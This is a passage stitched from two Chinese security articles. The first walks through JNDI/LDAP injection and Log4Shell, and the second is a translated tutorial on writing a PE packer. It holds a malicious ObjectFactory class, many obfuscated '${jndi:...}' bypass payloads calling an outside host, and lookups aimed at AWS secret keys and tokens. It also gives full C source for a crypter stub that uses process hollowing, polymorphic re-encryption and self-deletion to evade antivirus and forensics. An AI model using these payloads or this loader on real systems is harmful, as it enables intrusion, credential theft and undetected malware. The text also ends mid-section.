result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
> 客户端：
```java
package com.naihe3;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LdapClient {
public static void main(String[] args) throws NamingException {
//高版本gdk默认是关闭ldap远程加载class文件的，需要设置com.sun.jndi.ldap.object.trustURLCodebase
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
String url = "ldap://127.0.0.1:7777/Calc";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
> 恶意类：
import java.lang.Runtime;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class Calc implements ObjectFactory {
public Calc() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("calc");
return null;
}
}
过程基本上和rmi一样
# Log4j
漏洞成因:
log4j支持jndi，可以远程调用rmi和ldap，由于rmi和idap本身存在漏洞，因此log4j就会简介触发rmi和idap
> 服务端：
package com.naihe4;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class j2 {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
//同上
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
logger.error("随便输入xxxxxxxxxx231请31212312312：${jndi:rmi://127.0.0.1:1099/hello}");
}
}
直接跟进到MessagePatternConverter#format方法
匹配${,进入替换
这里获取协议前缀并判断是否在许可的协议内
调用JndiManager#lookup方法
调用InitialContext#lookup方法
后面又回到了前面的分析
> 调用链
>
>
>
> 在org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:217)
>
> 在org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1116)
>
> 在org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1038)
>
> 在org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
>
> 在org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
>
> 在org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
>
> 在org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
>
> 在org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:345)
>
> 在org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
>
> 在org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
>
> 在org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
>
> 在org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
>
> 在org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
>
> 在org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
>
> 在org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
>
> 在org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
>
> 在org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
>
> 在org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
>
> 在org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:543)
>
> 在org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:502)
>
> 在org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:485)
>
> 在org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:460)
>
> 在org.apache.logging.log4j.core.config.DefaultReliabilityStrategy.log(DefaultReliabilityStrategy.java:63)
> 在org.apache.logging.log4j.core.Logger.log(Logger.java:161)
>
> 在org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2198)
>
> 在org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2152)
>
> 在org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2135)
>
> 在org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2011)
>
> 在org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)
>
> 在org.apache.logging.log4j.spi.AbstractLogger.error(AbstractLogger.java:740)
> 在com.naihe4.j2.main(j2.java:9)
>
>
> 绕过payload：
${jndi:ldap://domain.com/j}
${jndi:ldap:/domain.com/a}
${jndi:dns:/domain.com}
${jndi:dns://domain.com/j}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-j}ndi:rmi://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
jn${env::-}di:
jn${date:}di${date:':'}
j${k8s:k5:-ND}i${sd:k5:-:}
j${main:\k5:-Nd}i${spring:k5:-:}
j${sys:k5:-nD}${lower:i${web:k5:-:}}
j${::-nD}i${::-:}
j${EnV:K5:-nD}i:
j${loWer:Nd}i${uPper::}
> 可执行的命令获取信息：
${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}
> log4j会记录的请求头
>
>
> Accept-Charset
> Accept-Datetime
> Accept-Encoding
> Accept-Language
> Authorization
> Cache-Control
> Cf-Connecting_ip
> Client-Ip
> Contact
> Cookie
> DNT
> Forwarded
> Forwarded-For
> Forwarded-For-Ip
> Forwarded-Proto
> From
> If-Modified-Since
> Max-Forwards
> Origin
> Originating-Ip
> Pragma
> Referer
> TE
> True-Client-IP
> True-Client-Ip
> Upgrade
> User-Agent
> Via
> Warning
> X-ATT-DeviceId
> X-Api-Version
> X-Att-Deviceid
> X-CSRFToken
> X-Client-Ip
> X-Correlation-ID
> X-Csrf-Token
> X-Do-Not-Track
> X-Foo
> X-Foo-Bar
> X-Forward-For
> X-Forward-Proto
> X-Forwarded
> X-Forwarded-By
> X-Forwarded-For
> X-Forwarded-For-Original
> X-Forwarded-Host
> X-Forwarded-Port
> X-Forwarded-Proto
> X-Forwarded-Protocol
> X-Forwarded-Scheme
> X-Forwarded-Server
> X-Forwarded-Ssl
> X-Forwarder-For
> X-Frame-Options
> X-From
> X-Geoip-Country
> X-HTTP-Method-Override
> X-Http-Destinationurl
> X-Http-Host-Override
> X-Http-Method
> X-Http-Method-Override
> X-Http-Path-Override
> X-Https
> X-Htx-Agent
> X-Hub-Signature
> X-If-Unmodified-Since
> X-Imbo-Test-Config
> X-Insight
> X-Ip
> X-Ip-Trail
> X-Leakix
> X-Originating-Ip
> X-ProxyUser-Ip
> X-Real-Ip
> X-Remote-Addr
> X-Remote-Ip
> X-Request-ID
> X-Requested-With
> X-UIDH
> X-Wap-Profile
> X-XSRF-TOKEN
> Authorization: Basic
> Authorization: Bearer
> Authorization: Oauth
> Authorization: Token | 社区文章 |
# 深入分析PE可执行文件是如何进行加壳和数据混淆的
##### 译文声明
本文是翻译文章，文章原作者 dtm，文章来源：0x00sec.org
原文地址：<https://0x00sec.org/t/packers-executable-compression-and-data-obfuscation/847>
译文仅供参考，具体内容表达以及含义原文为准。
>
> 在本文，我们将以一个可执行文件的压缩过程为例，详细讲解我在过去的两天之中时如何对它进行加壳的。就像是Crypters一样，我认为这一过程仿佛是地下社团开展的某种暗黑艺术。尽管目前，存在着很多可以公开的加壳器（Packer，例如UPX、Themida等），但我还没有看到过有讲解如何编写它们的文章。正巧，我前几天阅读了Gunther写的《C83中如何写一个简单的可执行文件加壳器》，受这篇文章的启发，我开始进一步研究这个神秘的话题。通过阅读这篇文章，我希望大家能够至少对这些主流加壳工具的功能有所理解。
**要阅读本文，可能需要大量的 Windows编程知识，需要读者具有以下基础：**
**1\. 熟练使用 C/C++；**
**2\. 了解 WinAPI及其官方文档；**
**3\. 具备基本的密码学知识；**
**4\. 具有文件压缩的相关知识；**
**5\. 了解 PE文件结构。**
## 关于加壳器
**所谓加壳器，是利用其特殊优势，借助压缩以混淆数据等方式，防止诸如反汇编之类的逆向工程的一种工具。**
由于其具有数据混淆的特性，所以恶意软件开发者会利用它，将恶意代码隐藏在可执行文件之中，逃避反病毒软件的检测。这种行为就像是对混淆后的数据进行了一次加密。同时，在进一步进行压缩的过程中，加壳器还可以利用一些加密方法，来提供双层混淆。让我们首先来看看某个可执行文件的压缩过程，我们会以直观的方式来展现：
**加壳器负责压缩（和加密） Payload。**
**壳（ Stub）是可执行文件的一部分，其作用在于提取（解密、解压缩）Payload，以供执行。**
## 如何编写加壳器
加壳器需要压缩并加密Payload，然后将其添加到壳中。下面展示了一个可行的加壳器设计方案。
加壳器的伪代码（算法描述语言）如下：
**第一步：将 Payload文件读入缓冲区；**
**第二步：使用指向缓冲区的指针及其原大小来更新结构；**
**第三步：压缩 Payload缓冲区；**
**第四步：加密缓冲区；**
**第五步：创建壳（ Stub）输出文件；**
**第六步：通过添加 Payload缓冲区来更新壳。**
以下是该方案对应的具体代码：
#include <stdio.h>
#include <stdarg.h>
#include <windows.h>
#include <wincrypt.h>
#include <zlib.h>
#include "resource.h"
#define WIN32_LEAN_AND_MEAN
#define DEBUG
#define DEBUG_TITLE "STUB - DEBUG MESSAGE"
#define BUFFER_RSRC_ID 10
#define FILE_SIZE_RSRC_ID 20
#define KEY_RSRC_ID 30
#define KEY_LEN 64
typedef struct _FileStruct {
PBYTE pBuffer;
DWORD dwBufSize;
DWORD dwFileSize;
PBYTE pKey;
} FileStruct, *pFileStruct;
VOID Debug(LPCSTR fmt, ...) {
#ifdef DEBUG
va_list args;
va_start(args, fmt);
vprintf(fmt, args);
va_end(args);
#endif
}
FileStruct *LoadFile(LPCSTR szFileName) {
Debug("Loading %s...n", szFileName);
Debug("Initializing struct...n");
FileStruct *fs = (FileStruct *)malloc(sizeof(*fs));
if (fs == NULL) {
Debug("Create %s file structure error: %lun", szFileName, GetLastError());
return NULL;
}
Debug("Initializing file...n");
// get file handle to file
HANDLE hFile = CreateFile(szFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
Debug("Create file error: %lun", GetLastError());
free(fs);
return NULL;
}
// get file size
Debug("Retrieving file size...n");
fs->dwFileSize = GetFileSize(hFile, NULL);
if (fs->dwFileSize == INVALID_FILE_SIZE) {
Debug("Get file size error: %lun", GetLastError());
CloseHandle(hFile);
free(fs);
return NULL;
}
fs->dwBufSize = fs->dwFileSize;
// create heap buffer to hold file contents
fs->pBuffer = (PBYTE)malloc(fs->dwFileSize);
if (fs->pBuffer == NULL) {
Debug("Create buffer error: %lun", GetLastError());
CloseHandle(hFile);
free(fs);
return NULL;
}
// read file contents
Debug("Reading file contents...n");
DWORD dwRead = 0;
if (ReadFile(hFile, fs->pBuffer, fs->dwFileSize, &dwRead, NULL) == FALSE) {
Debug("Read file error: %lun", GetLastError());
CloseHandle(hFile);
free(fs);
return NULL;
}
Debug("Read 0x%08x bytesnn", dwRead);
// clean up
CloseHandle(hFile);
return fs;
}
BOOL UpdateStub(LPCSTR szFileName, FileStruct *fs) {
// start updating stub's resources
HANDLE hUpdate = BeginUpdateResource(szFileName, FALSE);
// add file as a resource to stub
if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(BUFFER_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pBuffer, fs->dwBufSize) == FALSE) {
Debug("Update resource error: %lun", GetLastError());
return FALSE;
}
// add file size as a resource to stub
if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(FILE_SIZE_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PVOID)&fs->dwFileSize, sizeof(DWORD)) == FALSE) {
Debug("Update resource error: %lun", GetLastError());
return FALSE;
}
// add decryption key as a resource
if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(KEY_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pKey, KEY_LEN) == FALSE) {
Debug("Update resource error: %lun", GetLastError());
return FALSE;
}
EndUpdateResource(hUpdate, FALSE);
return TRUE;
}
BOOL BuildStub(LPCSTR szFileName, FileStruct *fs) {
Debug("Building stub: %s...n", szFileName);
// get stub program as a resource
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(1), "STUB");
if (hRsrc == NULL) {
Debug("Find stub resource error: %lun", GetLastError());
return FALSE;
}
DWORD dwSize = SizeofResource(NULL, hRsrc);
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
Debug("Load stub resource error: %lun", GetLastError());
return FALSE;
}
// get stub's file content
PBYTE pBuffer = (PBYTE)LockResource(hGlobal);
if (pBuffer == NULL) {
Debug("Lock stub resource error: %lun", GetLastError());
return FALSE;
}
// create output file
Debug("Creating stub...n");
HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
Debug("Create stub error: %lun", GetLastError());
free(pBuffer);
return FALSE;
}
// write stub content to output file
Debug("Writing payload to stub...n");
DWORD dwWritten = 0;
if (WriteFile(hFile, pBuffer, dwSize, &dwWritten, NULL) == FALSE) {
Debug("Write payload to stub error: %lun", GetLastError());
CloseHandle(hFile);
free(pBuffer);
return FALSE;
}
Debug("Wrote 0x%08x bytesnn");
CloseHandle(hFile);
// add payload to stub
Debug("Updating stub with payload...n");
if (UpdateStub(szFileName, fs) == FALSE)
return FALSE;
return TRUE;
}
BOOL GenerateKey(FileStruct *fs) {
fs->pKey = (PBYTE)malloc(KEY_LEN);
if (fs->pKey == NULL) return FALSE;
// initialize crypto service provider
HCRYPTPROV hProv = NULL;
if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0) == FALSE) {
Debug("Crypt aquire context error: %lun", GetLastError());
free(fs->pKey);
return FALSE;
}
// generate secure bytes
Debug("Generating cryptographically secure bytes...n");
if (CryptGenRandom(hProv, KEY_LEN, fs->pKey) == FALSE) {
Debug("Generate random key error: %lun", GetLastError());
free(fs->pKey);
return FALSE;
}
Debug("Using key: ");
for (int i = 0; i < KEY_LEN; i++)
Debug("0x%02x ", fs->pKey[i]);
Debug("n");
// clean up
CryptReleaseContext(hProv, 0);
return TRUE;
}
// XOR
BOOL EncryptPayload(FileStruct *fs) {
Debug("EncryptPayloading payload...n");
Debug("Generating key...n");
if (GenerateKey(fs) == FALSE) return FALSE;
for (DWORD i = 0; i < fs->dwBufSize; i++)
fs->pBuffer[i] ^= fs->pKey[i % KEY_LEN];
Debug("EncryptPayloadion routine completen");
return TRUE;
}
BOOL CompressPayload(FileStruct *fs) {
Debug("Compressing payload...n");
PBYTE pCompressedBuffer = (PBYTE)malloc(fs->dwBufSize);
ULONG ulCompressedBufSize = compressBound((ULONG)fs->dwBufSize);
compress(pCompressedBuffer, &ulCompressedBufSize, fs->pBuffer, fs->dwBufSize);
fs->pBuffer = pCompressedBuffer;
fs->dwBufSize = ulCompressedBufSize;
Debug("Compression routine completen");
return TRUE;
}
int main(int argc, char *argv[]) {
printf("Copyright (C) 2016 93aef0ce4dd141ece6f5nn");
if (argc < 3) {
Debug("Usage: %s [INPUT FILE] [OUTPUT FILE]n", argv[0]);
return 1;
}
FileStruct *fs = LoadFile(argv[1]);
if (fs == NULL) return 1;
Debug("Applying obfuscation...n");
if (CompressPayload(fs) == FALSE) {
free(fs);
return 1;
}
if (EncryptPayload(fs) == FALSE) {
free(fs);
return 1;
}
Debug("n");
if (BuildStub(argv[2], fs) == FALSE) {
free(fs->pKey);
free(fs);
return 1;
}
// clean up
free(fs->pKey);
free(fs);
Debug("nDonen");
return 0;
}
其中，CompressPayload函数使用了zLib第三方压缩库，以在Payload缓冲区上进行压缩操作。
EncryptPayload函数则简单地使用了XOR的加密方式作为示例。在实际应用中，大家完全可以使用RC4或者AES之类的加密方式来替代XOR。该函数中还有一个GenerateKey函数，在每次程序执行时，它都会借助WinAPI的密码库（Cryptography
Library），通过使用CSPRNG，来生成唯一的32位长度密钥。
BuildStub函数负责在壳中创建并添加资源。这些资源时存储在_FileStruct文件结构中的信息，是在壳本身的例程中所必须的。这些资源将会在壳代码被覆盖之后直观地展示出来。
##
## 如何编写壳
壳的作用在于提取并执行Payload。我们需要注意的是，壳所执行的，是加壳器所执行的反向操作。下面是一个可行的设计方案。
壳的伪代码如下：
**第一步：提取资源；**
**第二步：解密 Payload缓冲区；**
**第三步：解压缩缓冲区；**
**第四步：放置 Payload；**
**第五步：执行 Payload。**
以下是该方案对应的具体代码：
#include <stdio.h>
#include <string.h>
#include <stdarg.h>
#include <windows.h>
#include <wincrypt.h>
#include <zlib.h>
#define WIN32_LEAN_AND_MEAN
#define DEBUG
#define DEBUG_TITLE "STUB - DEBUG MESSAGE"
#define BUFFER_RSRC_ID 10
#define FILE_SIZE_RSRC_ID 20
#define KEY_RSRC_ID 30
#define KEY_LEN 64
typedef VOID(*PZUVOS)(HANDLE, PVOID);
typedef struct _FileStruct {
PBYTE pBuffer;
DWORD dwBufSize;
DWORD dwFileSize;
PBYTE pKey;
} FileStruct, *pFileStruct;
VOID Debug(LPCSTR fmt, ...) {
#ifdef DEBUG
CHAR szDebugBuf[BUFSIZ];
va_list args;
va_start(args, fmt);
vsprintf(szDebugBuf, fmt, args);
MessageBox(NULL, szDebugBuf, DEBUG_TITLE, MB_OK);
va_end(args);
#endif
}
FileStruct *ExtractPayload(VOID) {
FileStruct *fs = (FileStruct *)malloc(sizeof(*fs));
if (fs == NULL) return NULL;
// get file buffer
// get size of resource
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(BUFFER_RSRC_ID), RT_RCDATA);
if (hRsrc == NULL) {
Debug("Find buffer resource error: %lun", GetLastError());
free(fs);
return NULL;
}
fs->dwBufSize = SizeofResource(NULL, hRsrc);
// get pointer to resource buffer
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
Debug("Load buffer resource error: %lun", GetLastError());
free(fs);
return NULL;
}
fs->pBuffer = (PBYTE)LockResource(hGlobal);
if (fs->pBuffer == NULL) {
Debug("Lock buffer resource error: %lun", GetLastError());
free(fs);
return NULL;
}
// get actual file size resource
hRsrc = FindResource(NULL, MAKEINTRESOURCE(FILE_SIZE_RSRC_ID), RT_RCDATA);
if (hRsrc == NULL) {
Debug("Find file size error: %lun", GetLastError());
free(fs);
return NULL;
}
// get file size value
hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
Debug("Load buffer resource error: %lun", GetLastError());
free(fs);
return NULL;
}
fs->dwFileSize = *(LPDWORD)LockResource(hGlobal);
// get decryption key
hRsrc = FindResource(NULL, MAKEINTRESOURCE(KEY_RSRC_ID), RT_RCDATA);
if (hRsrc == NULL) {
Debug("Find key resource error: %lun", GetLastError());
free(fs);
return NULL;
}
// get pointer to key buffer
hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
Debug("Load key resource error: %lun", GetLastError());
free(fs);
return NULL;
}
fs->pKey = (PBYTE)LockResource(hGlobal);
if (fs->pKey == NULL) {
Debug("Lock buffer resource error: %lun", GetLastError());
free(fs);
return NULL;
}
return fs;
}
BOOL UpdateResources(FileStruct *fs, LPCSTR szFileName) {
HANDLE hUpdate = BeginUpdateResource(szFileName, FALSE);
// add file as a resource to stub
if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(BUFFER_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pBuffer, fs->dwBufSize) == FALSE) {
Debug("Update resource error: %lun", GetLastError());
return FALSE;
}
// add decryption key as a resource
if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(KEY_RSRC_ID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), fs->pKey, KEY_LEN) == FALSE) {
Debug("Update resource error: %lun", GetLastError());
return FALSE;
}
if (EndUpdateResource(hUpdate, FALSE) == FALSE) {
Debug("End update resource error: %lun", GetLastError());
}
return TRUE;
}
BOOL GenerateKey(FileStruct *fs) {
fs->pKey = (PBYTE)malloc(KEY_LEN);
if (fs->pKey == NULL) return FALSE;
// initialize crypto service provider
HCRYPTPROV hProv = NULL;
if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0) == FALSE) {
Debug("Crypt aquire context error: %lun", GetLastError());
free(fs->pKey);
return FALSE;
}
// generate secure bytes
//Debug("Generating cryptographically secure bytes...n");
if (CryptGenRandom(hProv, KEY_LEN, fs->pKey) == FALSE) {
Debug("Generate random key error: %lun", GetLastError());
free(fs->pKey);
return FALSE;
}
/*
Debug("Using key: ");
for (int i = 0; i < KEY_LEN; i++)
Debug("0x%02x ", fs->pKey[i]);
Debug("n");
*/
// clean up
CryptReleaseContext(hProv, 0);
return TRUE;
}
// XOR
BOOL DecryptPayload(FileStruct *fs) {
PBYTE pDecryptPayloadedBuffer = (PBYTE)malloc(fs->dwBufSize);
if (pDecryptPayloadedBuffer == NULL) return FALSE;
for (DWORD i = 0; i < fs->dwBufSize; i++)
pDecryptPayloadedBuffer[i] = fs->pBuffer[i] ^ fs->pKey[i % KEY_LEN];
fs->pBuffer = pDecryptPayloadedBuffer;
return TRUE;
}
// XOR
BOOL Encrypt(FileStruct *fs) {
return DecryptPayload(fs);
}
BOOL DecompressPayload(FileStruct *fs) {
PBYTE pDecompressedBuffer = (PBYTE)malloc(fs->dwFileSize);
ULONG ulDecompressedBufSize;
uncompress(pDecompressedBuffer, &ulDecompressedBufSize, fs->pBuffer, fs->dwFileSize);
fs->pBuffer = pDecompressedBuffer;
fs->dwBufSize = ulDecompressedBufSize;
return TRUE;
}
VOID DropAndExecutePayload(FileStruct *fs, LPCSTR szFileName) {
DWORD dwWritten;
HANDLE hFile = CreateFile(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, fs->pBuffer, fs->dwFileSize, &dwWritten, NULL);
CloseHandle(hFile);
ShellExecute(NULL, NULL, szFileName, NULL, NULL, SW_NORMAL);
}
BOOL MemoryExecutePayload(FileStruct *fs) {
// PE headers
PIMAGE_DOS_HEADER pidh;
PIMAGE_NT_HEADERS pinh;
PIMAGE_SECTION_HEADER pish;
// process info
STARTUPINFO si;
PROCESS_INFORMATION pi;
// pointer to virtually allocated memory
LPVOID lpAddress = NULL;
// context of suspended thread for setting address of entry point
CONTEXT context;
// need function pointer for ZwUnmapViewOfSection from ntdll.dll
PZUVOS pZwUnmapViewOfSection = NULL;
// get file name
CHAR szFileName[MAX_PATH];
GetModuleFileName(NULL, szFileName, MAX_PATH);
// first extract header info
// check if valid DOS header
pidh = (PIMAGE_DOS_HEADER)fs->pBuffer;
if (pidh->e_magic != IMAGE_DOS_SIGNATURE) {
Debug("DOS signature error");
return FALSE;
}
// check if valid pe file
pinh = (PIMAGE_NT_HEADERS)((DWORD)fs->pBuffer + pidh->e_lfanew);
if (pinh->Signature != IMAGE_NT_SIGNATURE) {
Debug("PE signature error");
return FALSE;
}
// first create process as suspended
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);
if (CreateProcess(szFileName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) {
Debug("Create process error %lun", GetLastError());
return FALSE;
}
context.ContextFlags = CONTEXT_FULL;
if (GetThreadContext(pi.hThread, &context) == FALSE) {
Debug("Get thread context");
}
// unmap memory space for our process
pZwUnmapViewOfSection = (PZUVOS)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection");
pZwUnmapViewOfSection(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase);
// allocate virtual space for process
lpAddress = VirtualAllocEx(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase, pinh->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddress == NULL) {
Debug("Virtual alloc error: %lun", GetLastError());
return FALSE;
}
// write headers into memory
if (WriteProcessMemory(pi.hProcess, (PVOID)pinh->OptionalHeader.ImageBase, fs->pBuffer, pinh->OptionalHeader.SizeOfHeaders, NULL) == FALSE) {
Debug ("Write headers error: %lun", GetLastError());
return FALSE;
}
// write each section into memory
for (int i = 0; i < pinh->FileHeader.NumberOfSections; i++) {
// calculate section header of each section
pish = (PIMAGE_SECTION_HEADER)((DWORD)fs->pBuffer + pidh->e_lfanew + sizeof (IMAGE_NT_HEADERS) + sizeof (IMAGE_SECTION_HEADER) * i);
// write section data into memory
WriteProcessMemory(pi.hProcess, (PVOID)(pinh->OptionalHeader.ImageBase + pish->VirtualAddress), (LPVOID)((DWORD)fs->pBuffer + pish->PointerToRawData), pish->SizeOfRawData, NULL);
}
// set starting address at virtual address: address of entry point
context.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint;
if (SetThreadContext(pi.hThread, &context) == FALSE) {
Debug("Set thread context error: %lun", GetLastError());
return FALSE;
}
// resume our suspended processes
if (ResumeThread(pi.hThread) == -1) {
Debug("Resume thread error: %lun", GetLastError());
return FALSE;
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;
}
/*
VOID RunFromMemory(FileStruct *fs) {
Debug("%p", fs->pBuffer);
HMEMORYMODULE hModule = MemoryLoadLibrary(fs->pBuffer, fs->dwFileSize);
if (hModule == NULL) {
Debug("Memory load library error: %lun", GetLastError());
return;
}
int nSuccess = MemoryCallEntryPoint(hModule);
if (nSuccess < 0) {
Debug("Memory call entry point error: %dn", nSuccess);
}
MemoryFreeLibrary(hModule);
}
*/
VOID SelfDelete(LPCSTR szFileName) {
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
si.cb = sizeof(si);
//CreateFile("old.exe", 0, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_DELETE_ON_CLOSE, NULL);
CHAR szCmdLine[MAX_PATH];
sprintf(szCmdLine, "%s delete", szFileName);
if (CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi) == FALSE) {
Debug("Create process error: %lun", GetLastError());
}
}
BOOL PolymorphPayload(LPCSTR szFileName) {
MoveFile(szFileName, "old.exe");
CopyFile("old.exe", szFileName, FALSE);
// re-extract resources
FileStruct *fs = ExtractPayload();
if (fs == NULL) return FALSE;
// decrypt buffer
if (DecryptPayload(fs) == FALSE) {
Debug("DecryptPayload buffer error: %lun", GetLastError());
free(fs);
return FALSE;
}
// generate new key
if (GenerateKey(fs) == FALSE) {
Debug("Generate key error: %lun", GetLastError());
free(fs);
return FALSE;
}
// encrypt with new key
if (Encrypt(fs) == FALSE) {
Debug("Encrypt buffer error: %lun", GetLastError());
free(fs->pKey);
return FALSE;
}
// update resources
if (UpdateResources(fs, szFileName) == FALSE) {
free(fs->pKey);
free(fs);
return FALSE;
}
SelfDelete(szFileName);
free(fs->pKey);
free(fs);
return TRUE;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
if (strstr(GetCommandLine(), "delete") != NULL) {
while (DeleteFile("old.exe") == FALSE);
} else {
FileStruct *fs = ExtractPayload();
if (fs == NULL) {
Debug("Extract file error: %lun", GetLastError());
return 1;
}
if (DecryptPayload(fs) == TRUE) {
if (DecompressPayload(fs) == TRUE)
//DropAndExecutePayload(fs, "test.exe");
MemoryExecutePayload(fs);
}
free(fs->pBuffer);
free(fs);
CHAR szFileName[MAX_PATH];
GetModuleFileName(NULL, szFileName, MAX_PATH);
PolymorphPayload(szFileName);
}
return 0;
}
壳的原理非常简单，就是执行加壳器的反向操作。当它将必要信息从资源中提取到结构之中后，首先会进行解密，随后通过使用DecryptPayload和DecompressPayload函数来解压缩缓冲区，以实现对Payload进行反混淆。在成功进行反混淆操作后，壳会将可执行文件放在同一个目录中，并执行该文件。在这里，我们如果使用RunPE或者Dynamic
Forking的方法，就可以消除磁盘活动记录，以阻止恶意软件被取证。
## 资源及PE文件的格式
以下是针对文件中的资源，进行的一个简要文件分析：
